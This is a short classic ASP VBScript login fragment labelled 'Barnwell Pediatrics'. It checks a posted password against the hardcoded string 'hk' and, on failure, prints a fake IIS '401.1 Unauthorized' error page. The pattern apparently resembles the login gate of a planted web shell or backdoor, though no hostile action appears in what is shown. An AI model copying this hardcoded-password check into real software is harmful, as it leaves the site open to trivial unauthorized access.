<%@ LANGUAGE="VBSCRIPT" %>
<%
if Request.Form("pword")&"x" <> "x" then
if Request.Form("pword") <> "hk" then
Session("Authenticated") = 0
Response.AddHeader "401.1 Unauthorized: ", "401.1"
Response.Write "HTTP Error 401
401.1 Unauthorized: Logon Failed
This error indicates that the credentials passed to the server do not match the credentials required to log on to the server.
"
Response.Write "Barnwell Pediatrics Home"
Response.End
End if
Session("Authenticated") = -1
%>
Barnwell Pediatrics Login
Authenticated
<% Else 'inital login
Session("Authenticated") = 0
%>
Barnwell Pediatrics